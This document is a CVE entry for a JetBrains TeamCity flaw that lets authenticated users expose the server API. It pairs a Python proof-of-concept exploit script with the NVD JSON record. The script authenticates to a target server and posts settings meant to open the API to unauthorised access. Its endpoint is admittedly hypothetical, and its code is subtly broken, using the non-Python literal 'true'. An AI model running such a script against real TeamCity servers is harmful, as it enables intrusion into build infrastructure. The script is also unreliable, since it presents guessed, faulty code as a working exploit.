CVE-2026-44413

import requests # PoC for CVE-2026-44413 # Description: Demonstrates how an authenticated user might trigger API exposure. def exploit_teamcity(target_url, username, password): session = requests.Session() # Step 1: Authenticate to the TeamCity server login_url = f"{target_url}/app/rest/login" creds = {'username': username, 'password': password} auth_resp = session.post(login_url, data=creds) if auth_resp.status_code != 200: print(f"[-] Authentication failed. Status: {auth_resp.status_code}") return print("[+] Authentication successful.") # Step 2: Send payload to trigger API exposure # Note: Endpoint is hypothetical based on vulnerability description exploit_url = f"{target_url}/app/rest/server/settings" headers = {'Content-Type': 'application/json'} payload = { "publicAccessEnabled": true, "exposeInternalApi": true } print(f"[*] Sending exploit payload to {exploit_url}...") response = session.post(exploit_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Potential vulnerability triggered! Server API may be exposed.") else: print(f"[-] Exploit failed. Status: {response.status_code}") print(response.text) if __name__ == "__main__": target = "http://vulnerable-teamcity-server:8111" exploit_teamcity(target, "attacker", "password")

{"cve": {"id": "CVE-2026-44413", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:38.053", "lastModified": "2026-05-12T19:59:34.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In JetBrains TeamCity before 2026.1\n2025.11.5 authenticated users could expose server API to unauthorised access"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.11.5", "matchCriteriaId": "E49693CF-C70A-4984-8EC5-2BD189E7A2BD"}]}]}], "references": [{"url": "https://www.jetbrains.com/privacy-security/issues-fixed/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}